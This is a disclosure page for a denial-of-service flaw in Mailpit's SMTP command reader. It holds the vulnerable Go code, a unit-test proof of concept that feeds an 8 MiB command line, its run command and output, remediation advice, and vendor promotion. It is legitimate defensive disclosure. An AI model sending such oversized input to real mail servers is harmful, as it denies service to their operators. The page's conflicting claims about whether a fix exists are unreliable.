Summary
Mailpit: SMTP command parser buffers unbounded command lines before syntax rejection
Mailpit's SMTP server reads each command line with an unbounded bufio.Reader.ReadString('\n') before parsing the command or enforcing any protocol length limit. A remote SMTP client can send an oversized single command line and force Mailpit to allocate attacker-controlled memory before the server returns a syntax error or times out, even though RFC 5321 limits SMTP command lines to 512 octets including CRLF.
Technical Details
Mailpit enables SMTP by default. config/config.go sets SMTPListen = "[::]:1025", and cmd/root.go calls smtpd.Listen() during normal startup. The SMTP server configures recipient and message DATA size limits in internal/smtpd/main.go, including the default 50 MiB MaxMessageSize, but those limits do not apply to command lines.
The vulnerable path is in the SMTP command loop. internal/smtpd/smtpd.go calls s.readLine() for every command before parsing the verb or arguments:
line, err := s.readLine()
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
s.writef("421 4.4.2 %s %s ESMTP Service closing transmission channel after timeout exceeded", s.srv.Hostname, s.srv.AppName)
}
break
}
verb, args := s.parseLine(line)
readLine() then buffers until newline without a maximum length:
func (s *session) readLine() (string, error) {
if s.srv.Timeout > 0 {
_ = s.conn.SetReadDeadline(time.Now().Add(s.srv.Timeout))
}
line, err := s.br.ReadString('\n')
if err != nil {
return "", err
}
line = strings.TrimSpace(line)
return line, err
}
This violates the SMTP command-line invariant before later validation can help. Address length validation in extractAndValidateAddress() runs only after the entire command line has already been buffered and parsed. The DATA reader has a separate srv.MaxSize check, but the issue is pre-DATA command input.
PoV
The following bounded test exercises the same command reader with a normal NOOP control and an 8 MiB oversized command line:
package smtpd
import (
"bufio"
"bytes"
"strings"
"testing"
)
func TestUnboundedSMTPCommandLinePoV(t *testing.T) {
short := "NOOP\r\n"
shortSession := session{srv: &Server{}, br: bufio.NewReader(strings.NewReader(short))}
shortLine, err := shortSession.readLine()
if err != nil {
t.Fatalf("short control readLine failed: %v", err)
}
t.Logf("short control: accepted len=%d command=%q", len(shortLine), shortLine)
oversizedLen := 8 * 1024 * 1024
oversized := strings.Repeat("X", oversizedLen) + "\r\n"
oversizedSession := session{srv: &Server{}, br: bufio.NewReader(bytes.NewBufferString(oversized))}
oversizedLine, err := oversizedSession.readLine()
if err != nil {
t.Fatalf("oversized readLine failed: %v", err)
}
t.Logf("oversized command: accepted len=%d; RFC 5321 command-line limit is 512 octets including CRLF", len(oversizedLine))
if len(oversizedLine) != oversizedLen {
t.Fatalf("readLine length = %d, want %d", len(oversizedLine), oversizedLen)
}
if len(oversizedLine) <= 512 {
t.Fatalf("oversized command did not exceed SMTP command-line limit")
}
}
PoC
From a Mailpit checkout, save the PoV above as internal/smtpd/smtp_command_line_pov_test.go and run:
docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./internal/smtpd -run TestUnboundedSMTPCommandLinePoV -v
On current develop commit cd7661fd5b23cce1e218b583b21e157cfa612051, the test prints:
=== RUN TestUnboundedSMTPCommandLinePoV
smtp_command_line_pov_test.go:17: short control: accepted len=4 command="NOOP"
smtp_command_line_pov_test.go:26: oversized command: accepted len=8388608; RFC 5321 command-line limit is 512 octets including CRLF
--- PASS: TestUnboundedSMTPCommandLinePoV (0.01s)
PASS
ok github.com/axllent/mailpit/internal/smtpd 0.017s
The same test against release v1.30.3 commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13 prints:
=== RUN TestUnboundedSMTPCommandLinePoV
smtp_command_line_pov_test.go:17: short control: accepted len=4 command="NOOP"
smtp_command_line_pov_test.go:26: oversized command: accepted len=8388608; RFC 5321 command-line limit is 512 octets including CRLF
--- PASS: TestUnboundedSMTPCommandLinePoV (0.02s)
PASS
ok github.com/axllent/mailpit/internal/smtpd 0.020s
The NOOP control shows the normal reader path. The oversized case shows the parser accepting an 8 MiB command line into memory instead of rejecting at the SMTP command-line limit.
Affected Package/Versions
Confirmed affected:
- Current
develop:cd7661fd5b23cce1e218b583b21e157cfa612051 - Latest release:
v1.30.3, tag commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, published 2026-06-27
No fixed version was identified during this review.
Advisory History
The closest published Mailpit advisory is GHSA-fpxj-m5q8-fphw, which covers unauthenticated memory exhaustion through unlimited SMTP DATA and /api/v1/send body sizes. This report is different: it targets the pre-DATA SMTP command-line reader before srv.MaxSize, MAIL FROM SIZE=, or DATA handling applies.
Other published Mailpit advisories checked were GHSA-28pq-6qxg-wg5r for HTTP JSON body limits, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, the SSRF/link-check/proxy advisories GHSA-8v65-47jx-7mfr, GHSA-mpf7-p9x7-96r3, GHSA-6jxm-fv7w-rw5j, GHSA-j3fj-qppj-fmmc, GHSA-w4mc-hhc6-xp28, and GHSA-524m-q5m7-79mm for CSWSH. None of these describe unbounded SMTP command-line buffering.
Public Mailpit issue searches for SMTP command line too long ReadString, SMTP 512 octets command line, SMTP memory DoS command line, and ReadString smtpd found no matching issue. Public commit searches for ReadString smtpd, command line too long, and MaxMessageSize smtp found no matching fix. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.
References
- RFC 5321 section 4.5.3.1.4, command-line length limit: https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.4
- Mailpit security policy: https://github.com/axllent/mailpit/security/policy
GHSA-fpxj-m5q8-fphw: https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphwGHSA-28pq-6qxg-wg5r: https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5rGHSA-54wq-72mp-cq7c: https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c
Impact
An unauthenticated remote client that can reach Mailpit's SMTP listener can force heap allocation proportional to a single command line before any SMTP command is parsed. Repeating the input across concurrent connections can consume process memory and degrade or deny Mailpit service availability. This is distinct from message DATA size handling: the default MaxMessageSize cap is enforced after DATA, while the command-line reader is reached before DATA and before MAIL FROM SIZE= handling.
Suggested advisory metadata: CWE-400 (Uncontrolled Resource Consumption). Conservative CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base score 7.5 (High). If a deployment explicitly binds SMTP to trusted loopback-only clients, environmental severity may be lower; the project default is a network SMTP listener on [::]:1025.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-67445 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.30.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Bound SMTP command-line reads before buffering the full line. For ordinary SMTP commands, reject input exceeding RFC 5321's 512-octet command-line limit including CRLF, returning a 500 5.5.2-style command-line-too-long response before allocating the entire attacker-controlled line. Apply the same pre-parse bound to AUTH continuation lines because handleAuthLogin(), handleAuthPlain(), and handleAuthCramMD5() also call readLine(). Consider adding a similar POP3 command-line cap in internal/pop3/server.go, where the optional POP3 server also uses ReadString('\n') for commands.
Regression tests should cover a normal short command, an over-limit command line, and over-limit AUTH continuation input. They should assert that the over-limit cases fail without returning the oversized string to command parsing.
Frequently Asked Questions
- What is CVE-2026-67445? CVE-2026-67445 is a high-severity uncontrolled resource consumption vulnerability in github.com/axllent/mailpit (go), affecting versions <= 1.30.3. It is fixed in 1.30.4. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-67445? CVE-2026-67445 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/axllent/mailpit are affected by CVE-2026-67445? github.com/axllent/mailpit (go) versions <= 1.30.3 is affected.
- Is there a fix for CVE-2026-67445? Yes. CVE-2026-67445 is fixed in 1.30.4. Upgrade to this version or later.
- Is CVE-2026-67445 exploitable, and should I be worried? Whether CVE-2026-67445 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67445 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67445? Upgrade
github.com/axllent/mailpitto 1.30.4 or later.